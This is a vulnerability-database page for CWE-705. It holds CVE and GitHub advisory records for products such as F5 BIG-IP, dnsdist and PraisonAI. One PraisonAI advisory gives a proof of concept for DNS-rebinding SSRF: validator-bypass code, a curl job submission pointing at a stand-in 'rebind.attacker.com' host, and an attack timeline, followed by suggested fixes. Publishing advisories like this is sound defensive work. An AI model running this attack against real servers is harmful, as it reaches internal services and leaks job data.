CWE-705
Weakness Allowed-with-ReviewIncorrect Control Flow Scoping
Abstraction: Class · Status: Incomplete
The product does not properly return control flow to the proper location after it has completed a task or detected an unusual condition.
Mapping guidance
This CWE entry is a Class and might have Base-level children that would be more appropriate
Examine children of this entry to see if there is a better fit
Modes of introduction
Detection methods
Automated Static Analysis
Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)
Content history
Note: this date reflects when the entry was first published. Draft versions of this entry were provided to members of the CWE community and modified between Draft 9 and 1.0.
updated Time_of_Introduction
updated Relationships, Taxonomy_Mappings
updated Relationships
updated Common_Consequences, Relationships, Taxonomy_Mappings
updated Relationships, Taxonomy_Mappings
updated Relationships, Taxonomy_Mappings
updated Observed_Examples
updated Relationships
updated Relationships
updated Applicable_Platforms, Relationships, Taxonomy_Mappings
updated Relationships, Taxonomy_Mappings
updated Observed_Examples, Relationships
updated Relationships
updated Observed_Examples
updated Description
updated Relationships, Time_of_Introduction
updated Mapping_Notes
updated Demonstrative_Examples, Observed_Examples
updated Detection_Factors, Observed_Examples, Relationships, Weakness_Ordinalities
updated Relationships
21 vulnerabilities reference this CWE, most recent first.
CVE-2025-53856 (GCVE-0-2025-53856)
Vulnerability from cvelistv5 – Published: 2025-10-15 13:55 – Updated: 2026-02-26 16:57- CWE-705 - Incorrect Control Flow Scoping
| URL | Tags |
|---|---|
| https://my.f5.com/manage/s/article/K000156707 | vendor-advisory |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-53856",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-10-16T03:56:58.417774Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-02-26T16:57:40.835Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unknown",
"modules": [
"All Modules"
],
"product": "BIG-IP",
"vendor": "F5",
"versions": [
{
"lessThan": "17.5.1.3",
"status": "affected",
"version": "17.5.0",
"versionType": "custom"
},
{
"lessThan": "17.1.3",
"status": "affected",
"version": "17.1.0",
"versionType": "custom"
},
{
"lessThan": "16.1.6.1",
"status": "affected",
"version": "16.1.0",
"versionType": "custom"
},
{
"lessThan": "15.1.10.8",
"status": "affected",
"version": "15.1.0",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "F5"
}
],
"datePublic": "2025-10-15T14:00:00.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003eWhen a virtual server, network address translation (NAT) object, or secure network address translation (SNAT) object uses the embedded Packet Velocity Acceleration (ePVA) feature, undisclosed traffic can cause the Traffic Management Microkernel (TMM) to terminate.\u0026nbsp; To determine which BIG-IP platforms have an ePVA chip refer to \u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://my.f5.com/manage/s/article/K12837\"\u003eK12837: Overview of the ePVA feature\u003c/a\u003e.\u003c/span\u003e\u0026nbsp; Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated."
}
],
"value": "When a virtual server, network address translation (NAT) object, or secure network address translation (SNAT) object uses the embedded Packet Velocity Acceleration (ePVA) feature, undisclosed traffic can cause the Traffic Management Microkernel (TMM) to terminate.\u00a0 To determine which BIG-IP platforms have an ePVA chip refer to K12837: Overview of the ePVA feature https://my.f5.com/manage/s/article/K12837 .\u00a0 Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
},
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 8.7,
"baseSeverity": "HIGH",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "NONE",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-705",
"description": "CWE-705 Incorrect Control Flow Scoping",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-10-15T13:55:49.991Z",
"orgId": "9dacffd4-cb11-413f-8451-fbbfd4ddc0ab",
"shortName": "f5"
},
"references": [
{
"tags": [
"vendor-advisory"
],
"url": "https://my.f5.com/manage/s/article/K000156707"
}
],
"source": {
"discovery": "INTERNAL"
},
"title": "TMM vulnerability",
"x_generator": {
"engine": "F5 SIRTBot v1.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "9dacffd4-cb11-413f-8451-fbbfd4ddc0ab",
"assignerShortName": "f5",
"cveId": "CVE-2025-53856",
"datePublished": "2025-10-15T13:55:49.991Z",
"dateReserved": "2025-10-03T23:04:37.988Z",
"dateUpdated": "2026-02-26T16:57:40.835Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-9848 (GCVE-0-2025-9848)
Vulnerability from cvelistv5 – Published: 2025-09-03 01:02 – Updated: 2025-09-03 20:16| URL | Tags |
|---|---|
| https://vuldb.com/?id.322197 | vdb-entry |
| https://vuldb.com/?ctiid.322197 | signaturepermissions-required |
| https://vuldb.com/?submit.641980 | third-party-advisory |
| https://www.websecurityinsights.my.id/2025/08/rea… | exploit |
| Vendor | Product | Version | |
|---|---|---|---|
| ScriptAndTools | Real Estate Management System |
Affected:
1.0
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-9848",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2025-09-03T20:15:22.802287Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2025-09-03T20:16:02.907Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "Real Estate Management System",
"vendor": "ScriptAndTools",
"versions": [
{
"status": "affected",
"version": "1.0"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Maloy Roy Orko"
},
{
"lang": "en",
"type": "reporter",
"value": "MaloyRoyOrko (VulDB User)"
}
],
"descriptions": [
{
"lang": "en",
"value": "A security vulnerability has been detected in ScriptAndTools Real Estate Management System 1.0. The affected element is an unknown function of the file /admin/userlist.php. Such manipulation leads to execution after redirect. The attack can be executed remotely. The exploit has been disclosed publicly and may be used."
},
{
"lang": "de",
"value": "Es wurde eine Schwachstelle in ScriptAndTools Real Estate Management System 1.0 entdeckt. Betroffen ist eine unbekannte Funktion der Datei /admin/userlist.php. Dank Manipulation mit unbekannten Daten kann eine execution after redirect-Schwachstelle ausgenutzt werden. Ein Angriff ist aus der Distanz m\u00f6glich. Die Schwachstelle wurde \u00f6ffentlich offengelegt und k\u00f6nnte ausgenutzt werden."
}
],
"metrics": [
{
"cvssV4_0": {
"baseScore": 6.9,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P",
"version": "4.0"
}
},
{
"cvssV3_1": {
"baseScore": 7.3,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L/E:P/RL:X/RC:R",
"version": "3.1"
}
},
{
"cvssV3_0": {
"baseScore": 7.3,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L/E:P/RL:X/RC:R",
"version": "3.0"
}
},
{
"cvssV2_0": {
"baseScore": 7.5,
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P/E:POC/RL:ND/RC:UR",
"version": "2.0"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-698",
"description": "Execution After Redirect",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-705",
"description": "Incorrect Control Flow Scoping",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-09-03T01:02:10.151Z",
"orgId": "1af790b2-7ee1-4545-860a-a788eba489b5",
"shortName": "VulDB"
},
"references": [
{
"name": "VDB-322197 | ScriptAndTools Real Estate Management System userlist.php redirect",
"tags": [
"vdb-entry"
],
"url": "https://vuldb.com/?id.322197"
},
{
"name": "VDB-322197 | CTI Indicators (IOB, IOC, TTP, IOA)",
"tags": [
"signature",
"permissions-required"
],
"url": "https://vuldb.com/?ctiid.322197"
},
{
"name": "Submit #641980 | Script And Tools Real Estate Management System 1.0 Broken Access Control",
"tags": [
"third-party-advisory"
],
"url": "https://vuldb.com/?submit.641980"
},
{
"tags": [
"exploit"
],
"url": "https://www.websecurityinsights.my.id/2025/08/real-estate-management-system-v-10-user.html"
}
],
"timeline": [
{
"lang": "en",
"time": "2025-09-02T00:00:00.000Z",
"value": "Advisory disclosed"
},
{
"lang": "en",
"time": "2025-09-02T02:00:00.000Z",
"value": "VulDB entry created"
},
{
"lang": "en",
"time": "2025-09-02T16:15:45.000Z",
"value": "VulDB entry last update"
}
],
"title": "ScriptAndTools Real Estate Management System userlist.php redirect"
}
},
"cveMetadata": {
"assignerOrgId": "1af790b2-7ee1-4545-860a-a788eba489b5",
"assignerShortName": "VulDB",
"cveId": "CVE-2025-9848",
"datePublished": "2025-09-03T01:02:10.151Z",
"dateReserved": "2025-09-02T14:10:38.578Z",
"dateUpdated": "2025-09-03T20:16:02.907Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
GHSA-2CPW-VGR2-PW3H
Vulnerability from github – Published: 2026-06-25 15:31 – Updated: 2026-06-25 15:31An attacker might be able to delay the processing of DoH3 queries by sending DoH3 GET queries with an invalid DATA frame.
{
"affected": [],
"aliases": [
"CVE-2026-40208"
],
"database_specific": {
"cwe_ids": [
"CWE-705"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-25T13:16:39Z",
"severity": "LOW"
},
"details": "An attacker might be able to delay the processing of DoH3 queries by sending DoH3 GET queries with an invalid DATA frame.",
"id": "GHSA-2cpw-vgr2-pw3h",
"modified": "2026-06-25T15:31:59Z",
"published": "2026-06-25T15:31:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40208"
},
{
"type": "WEB",
"url": "https://www.dnsdist.org/security-advisories/powerdns-advisory-for-dnsdist-2026-09.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-75V4-33M7-V829
Vulnerability from github – Published: 2026-11-29 09:31 – Updated: 2026-11-29 09:31A flaw has been found in letta-ai letta-code up to 0.34.71. This issue affects the function loadPermissions of the file src/permissions/loader.ts of the component Permission Loader. This manipulation causes incorrect control flow scoping. The attack needs to be launched locally. The exploit has been published and may be used. The pull request to fix this issue awaits acceptance.
{
"affected": [],
"aliases": [
"CVE-2026-138207"
],
"database_specific": {
"cwe_ids": [
"CWE-705"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-11-29T09:16:55Z",
"severity": "LOW"
},
"details": "A flaw has been found in letta-ai letta-code up to 0.34.71. This issue affects the function loadPermissions of the file src/permissions/loader.ts of the component Permission Loader. This manipulation causes incorrect control flow scoping. The attack needs to be launched locally. The exploit has been published and may be used. The pull request to fix this issue awaits acceptance.",
"id": "GHSA-75v4-33m7-v829",
"modified": "2026-11-29T09:31:17Z",
"published": "2026-11-29T09:31:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-138207"
},
{
"type": "WEB",
"url": "https://github.com/letta-ai/letta-code/issues/5462"
},
{
"type": "WEB",
"url": "https://github.com/letta-ai/letta-code/pull/5489"
},
{
"type": "WEB",
"url": "https://github.com/letta-ai/letta-code"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-138207"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/1070489"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/445076"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/445076/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-M5HQ-GXG5-5F9X
Vulnerability from github – Published: 2025-10-15 15:30 – Updated: 2025-10-15 15:30When a virtual server, network address translation (NAT) object, or secure network address translation (SNAT) object uses the embedded Packet Velocity Acceleration (ePVA) feature, undisclosed traffic can cause the Traffic Management Microkernel (TMM) to terminate. To determine which BIG-IP platforms have an ePVA chip refer to K12837: Overview of the ePVA feature https://my.f5.com/manage/s/article/K12837 . Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
{
"affected": [],
"aliases": [
"CVE-2025-53856"
],
"database_specific": {
"cwe_ids": [
"CWE-705"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-15T14:15:48Z",
"severity": "HIGH"
},
"details": "When a virtual server, network address translation (NAT) object, or secure network address translation (SNAT) object uses the embedded Packet Velocity Acceleration (ePVA) feature, undisclosed traffic can cause the Traffic Management Microkernel (TMM) to terminate.\u00a0 To determine which BIG-IP platforms have an ePVA chip refer to K12837: Overview of the ePVA feature https://my.f5.com/manage/s/article/K12837 .\u00a0 Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.",
"id": "GHSA-m5hq-gxg5-5f9x",
"modified": "2025-10-15T15:30:28Z",
"published": "2025-10-15T15:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53856"
},
{
"type": "WEB",
"url": "https://my.f5.com/manage/s/article/K000156707"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-PGPQ-342H-2QV7
Vulnerability from github – Published: 2025-09-12 18:31 – Updated: 2025-09-12 18:31OpenSynergy BlueSDK (aka Blue SDK) through 6.x has Incorrect Control Flow Scoping. The specific flaw exists within the BlueSDK Bluetooth stack. The issue results from the lack of proper return control flow after detecting an unusual condition. An attacker can leverage this to bypass a security validation and make the incoming data be processed.
{
"affected": [],
"aliases": [
"CVE-2024-45433"
],
"database_specific": {
"cwe_ids": [
"CWE-705"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-12T17:15:46Z",
"severity": "MODERATE"
},
"details": "OpenSynergy BlueSDK (aka Blue SDK) through 6.x has Incorrect Control Flow Scoping. The specific flaw exists within the BlueSDK Bluetooth stack. The issue results from the lack of proper return control flow after detecting an unusual condition. An attacker can leverage this to bypass a security validation and make the incoming data be processed.",
"id": "GHSA-pgpq-342h-2qv7",
"modified": "2025-09-12T18:31:10Z",
"published": "2025-09-12T18:31:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45433"
},
{
"type": "WEB",
"url": "https://pcacybersecurity.com/resources/advisory/perfekt-blue"
},
{
"type": "WEB",
"url": "https://www.opensynergy.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PH6P-92G7-5GRM
Vulnerability from github – Published: 2026-11-30 00:30 – Updated: 2026-11-30 00:30Net::Server::Thread versions through 2.018 for Perl terminate the whole server when a request timeout alarm fires in a handler thread.
Net::Server::HTTP and Net::Server::PSGI time each request with alarm() and a local ALRM handler. Under the Thread server type that code runs in a handler thread, but the alarm is process-wide and the main thread installs no ALRM handler, so SIGALRM ends the server process.
A remote client that connects and sends an incomplete request, or nothing, stops the server once the header timeout expires.
{
"affected": [],
"aliases": [
"CVE-2026-124300"
],
"database_specific": {
"cwe_ids": [
"CWE-705"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-11-30T00:17:58Z",
"severity": null
},
"details": "Net::Server::Thread versions through 2.018 for Perl terminate the whole server when a request timeout alarm fires in a handler thread.\n\nNet::Server::HTTP and Net::Server::PSGI time each request with alarm() and a local ALRM handler. Under the Thread server type that code runs in a handler thread, but the alarm is process-wide and the main thread installs no ALRM handler, so SIGALRM ends the server process.\n\nA remote client that connects and sends an incomplete request, or nothing, stops the server once the header timeout expires.",
"id": "GHSA-ph6p-92g7-5grm",
"modified": "2026-11-30T00:30:31Z",
"published": "2026-11-30T00:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-124300"
},
{
"type": "WEB",
"url": "https://metacpan.org/release/BBB/Net-Server-2.018/source/lib/Net/Server/HTTP.pm"
},
{
"type": "WEB",
"url": "https://metacpan.org/release/BBB/Net-Server-2.018/source/lib/Net/Server/PSGI.pm"
},
{
"type": "WEB",
"url": "https://metacpan.org/release/BBB/Net-Server-2.018/source/lib/Net/Server/Thread.pm"
},
{
"type": "WEB",
"url": "https://security.metacpan.org/patches/N/Net-Server/2.018/CVE-2026-124300-r1.patch"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-RG5Q-PP8P-F7JM
Vulnerability from github – Published: 2026-08-25 14:59 – Updated: 2026-08-25 14:59Summary
praisonai/jobs/models.py::JobSubmitRequest.validate_webhook_url() validates webhook
URLs by resolving the hostname and checking whether the IP is private. When DNS
resolution fails (socket.gaierror), the validator silently passes the URL via
except socket.gaierror: pass. Additionally, even when DNS succeeds at validation time,
the webhook is fired much later by JobExecutor._send_webhook(), which calls
httpx.AsyncClient().post(job.webhook_url) — performing a fresh, independent DNS
lookup at execution time. Together, these flaws create a TOCTOU SSRF window.
An attacker can:
1. Submit a job with webhook_url pointing to a hostname that currently does not
resolve (NXDOMAIN) → validation passes (gaierror → pass)
2. Update DNS to point that hostname to 127.0.0.1 or another private IP
3. When the job completes, _send_webhook() resolves the hostname fresh → POST sent
to the internal IP
Details
Flaw 1 — Fail-open on DNS error (jobs/models.py lines 58-66):
@field_validator("webhook_url")
@classmethod
def validate_webhook_url(cls, v):
...
try:
ip = socket.gethostbyname(hostname)
ip_obj = ipaddress.ip_address(ip)
if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local:
raise ValueError("Webhook URL resolves to private network address")
except socket.gaierror:
pass # <-- FAIL-OPEN: DNS failure allows the URL without restriction
return v
When socket.gethostbyname(hostname) raises socket.gaierror (NXDOMAIN, timeout,
network error during validation), execution flows to pass and the URL is accepted.
Flaw 2 — Fresh DNS at execution time (jobs/executor.py lines 376-406):
async def _send_webhook(self, job: Job):
async with httpx.AsyncClient(timeout=30.0) as client:
response = await client.post(
job.webhook_url, # <-- fresh DNS resolution here, not cached from validation
json=payload,
...
)
httpx.AsyncClient creates a new connection per call. DNS is resolved at execution time,
completely independent of the validation-time resolution. The gap between submission
and execution can be minutes to hours (depending on job queue depth and timeout settings).
Combined TOCTOU window:
T=0 Attacker submits: webhook_url = "http://rebind.attacker.com/cb"
Validation: socket.gethostbyname("rebind.attacker.com") → gaierror (NXDOMAIN)
Result: except socket.gaierror: pass → ACCEPTED
T=5 Attacker updates DNS: rebind.attacker.com A → 127.0.0.1 (TTL=60)
T=60 Job completes. _send_webhook() fires:
httpx.post("http://rebind.attacker.com/cb")
DNS: rebind.attacker.com → 127.0.0.1
POST reaches 127.0.0.1 → SSRF
Relation to CVE-2026-40114 / GHSA-8frj-8q3m-xhgm: That CVE covered "no URL
validation at all" on the webhook_url parameter, patched in v4.5.126 by adding
validate_webhook_url() to jobs/models.py. This finding targets the validation code
itself — the except socket.gaierror: pass fail-open introduced in that patch.
CVE-2026-40114: no validation. This bypass: validation present but fail-open on DNS error.
PoC
Requirements: A domain you control with configurable DNS TTL, access to the jobs API
Step 1 — Confirm fail-open behaviour (local code verification):
from praisonai.jobs.models import JobSubmitRequest
from unittest.mock import patch
import socket
# Simulate: hostname temporarily does not resolve
with patch("socket.gethostbyname", side_effect=socket.gaierror("NXDOMAIN")):
req = JobSubmitRequest(
prompt="hello",
webhook_url="http://rebind.attacker.com/callback"
)
# No exception raised — URL accepted despite NXDOMAIN
print("Webhook accepted:", req.webhook_url)
Expected: Webhook accepted: http://rebind.attacker.com/callback
Step 2 — Confirm fresh DNS at execution time:
# From jobs/executor.py _send_webhook():
# httpx.AsyncClient creates a new TCP connection (no DNS cache sharing with validator)
# Standard httpx behaviour: each .post() resolves DNS independently
import httpx, asyncio
async def demo():
# httpx resolves DNS here, not using any cached result from validation
async with httpx.AsyncClient() as client:
# This call resolves "rebind.attacker.com" fresh at runtime
# If DNS changed since validation, it hits the new IP
try:
r = await client.post("http://rebind.attacker.com/callback", json={})
except Exception as e:
print(f"Connection: {e}")
asyncio.run(demo())
Step 3 — Full attack scenario:
# 1. Set up domain with short TTL, currently returning NXDOMAIN
# rebind.attacker.com → (no record, TTL=60)
# 2. Submit job via API
curl -X POST http://praisonai-server:8000/jobs \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"prompt": "Calculate 2+2",
"webhook_url": "http://rebind.attacker.com/callback"
}'
# Response: {"job_id": "job_abc123", "status": "queued", ...}
# 3. After 5 seconds (before job finishes), add DNS record:
# rebind.attacker.com A 127.0.0.1 TTL=60
# 4. Wait for job to complete (seconds to minutes).
# _send_webhook() fires and resolves rebind.attacker.com → 127.0.0.1
# POST request hits 127.0.0.1 (internal service)
# If 127.0.0.1:80 is running a service, it receives:
# POST /callback HTTP/1.1
# Content-Type: application/json
# {"job_id": "job_abc123", "status": "succeeded", "result": "4", ...}
Immediate variant (no DNS timing required):
If DNS resolution fails transiently (rate limit, network blip, temporary outage)
during validation, the webhook is accepted unconditionally even for a URL that would
normally resolve to a private IP. No attacker control over DNS timing is required —
the attacker simply retries submission during moments when their DNS server is unreachable
(e.g., their DNS server is down, causing gaierror).
Impact
What kind of vulnerability: Server-Side Request Forgery via TOCTOU DNS rebinding and validation fail-open.
Who is impacted: Any deployment exposing the PraisonAI Jobs API (POST /jobs) to
external or lower-trusted callers. This includes:
- Multi-tenant deployments where workspace members submit jobs
- API integrations (n8n, Zapier-style workflows) that provide
webhook_urlfields
Post-exploit capabilities: - HTTP POST to any internal service with JSON payload (job result data) - If an internal service interprets the POST body as commands (Jenkins webhook, Consul KV, etc.), this achieves code execution on internal infrastructure - Exfiltration of job results (which may include agent reasoning, data retrieved during the task, discovered credentials) to an attacker-controlled endpoint
---
## Remediation Suggestion (for maintainers)
**Fix 1 — Change `gaierror` handler to fail-closed (`jobs/models.py` line 63):**
```python
# VULNERABLE
except socket.gaierror:
pass
# FIXED
except socket.gaierror:
raise ValueError(
"Webhook URL hostname could not be resolved. "
"Ensure the hostname is valid and publicly reachable."
)
Fix 2 — Re-validate at execution time (jobs/executor.py before _send_webhook):
async def _send_webhook(self, job: Job):
if not job.webhook_url:
return
# Re-validate to prevent DNS rebinding
try:
from urllib.parse import urlparse
import socket, ipaddress
hostname = urlparse(job.webhook_url).hostname
ip = socket.gethostbyname(hostname)
if ipaddress.ip_address(ip).is_private:
logger.warning(f"Webhook SSRF blocked at execution time: {job.webhook_url}")
return
except Exception as e:
logger.warning(f"Webhook validation failed at execution: {e}")
return
# ... proceed with httpx.post
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "PraisonAI"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.6.58"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55537"
],
"database_specific": {
"cwe_ids": [
"CWE-367",
"CWE-705",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-25T14:59:44Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n`praisonai/jobs/models.py::JobSubmitRequest.validate_webhook_url()` validates webhook\nURLs by resolving the hostname and checking whether the IP is private. When DNS\nresolution fails (`socket.gaierror`), the validator **silently passes** the URL via\n`except socket.gaierror: pass`. Additionally, even when DNS succeeds at validation time,\nthe webhook is fired much later by `JobExecutor._send_webhook()`, which calls\n`httpx.AsyncClient().post(job.webhook_url)` \u2014 performing a **fresh, independent DNS\nlookup** at execution time. Together, these flaws create a TOCTOU SSRF window.\n\nAn attacker can:\n1. Submit a job with `webhook_url` pointing to a hostname that currently does not\n resolve (NXDOMAIN) \u2192 validation passes (`gaierror` \u2192 `pass`)\n2. Update DNS to point that hostname to `127.0.0.1` or another private IP\n3. When the job completes, `_send_webhook()` resolves the hostname fresh \u2192 POST sent\n to the internal IP\n\n### Details\n\n**Flaw 1 \u2014 Fail-open on DNS error (`jobs/models.py` lines 58-66):**\n\n```python\n@field_validator(\"webhook_url\")\n@classmethod\ndef validate_webhook_url(cls, v):\n ...\n try:\n ip = socket.gethostbyname(hostname)\n ip_obj = ipaddress.ip_address(ip)\n if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local:\n raise ValueError(\"Webhook URL resolves to private network address\")\n except socket.gaierror:\n pass # \u003c-- FAIL-OPEN: DNS failure allows the URL without restriction\n return v\n```\n\nWhen `socket.gethostbyname(hostname)` raises `socket.gaierror` (NXDOMAIN, timeout,\nnetwork error during validation), execution flows to `pass` and the URL is accepted.\n\n**Flaw 2 \u2014 Fresh DNS at execution time (`jobs/executor.py` lines 376-406):**\n\n```python\nasync def _send_webhook(self, job: Job):\n async with httpx.AsyncClient(timeout=30.0) as client:\n response = await client.post(\n job.webhook_url, # \u003c-- fresh DNS resolution here, not cached from validation\n json=payload,\n ...\n )\n```\n\n`httpx.AsyncClient` creates a new connection per call. DNS is resolved at execution time,\ncompletely independent of the validation-time resolution. The gap between submission\nand execution can be minutes to hours (depending on job queue depth and timeout settings).\n\n**Combined TOCTOU window:**\n\n```\nT=0 Attacker submits: webhook_url = \"http://rebind.attacker.com/cb\"\n Validation: socket.gethostbyname(\"rebind.attacker.com\") \u2192 gaierror (NXDOMAIN)\n Result: except socket.gaierror: pass \u2192 ACCEPTED\n\nT=5 Attacker updates DNS: rebind.attacker.com A \u2192 127.0.0.1 (TTL=60)\n\nT=60 Job completes. _send_webhook() fires:\n httpx.post(\"http://rebind.attacker.com/cb\")\n DNS: rebind.attacker.com \u2192 127.0.0.1\n POST reaches 127.0.0.1 \u2192 SSRF\n```\n\n**Relation to CVE-2026-40114 / GHSA-8frj-8q3m-xhgm:** That CVE covered \"no URL\nvalidation at all\" on the webhook_url parameter, patched in v4.5.126 by adding\n`validate_webhook_url()` to `jobs/models.py`. This finding targets the **validation code\nitself** \u2014 the `except socket.gaierror: pass` fail-open introduced in that patch.\nCVE-2026-40114: no validation. This bypass: validation present but fail-open on DNS error.\n\n### PoC\n\n**Requirements:** A domain you control with configurable DNS TTL, access to the jobs API\n\n**Step 1 \u2014 Confirm fail-open behaviour (local code verification):**\n\n```python\nfrom praisonai.jobs.models import JobSubmitRequest\nfrom unittest.mock import patch\nimport socket\n\n# Simulate: hostname temporarily does not resolve\nwith patch(\"socket.gethostbyname\", side_effect=socket.gaierror(\"NXDOMAIN\")):\n 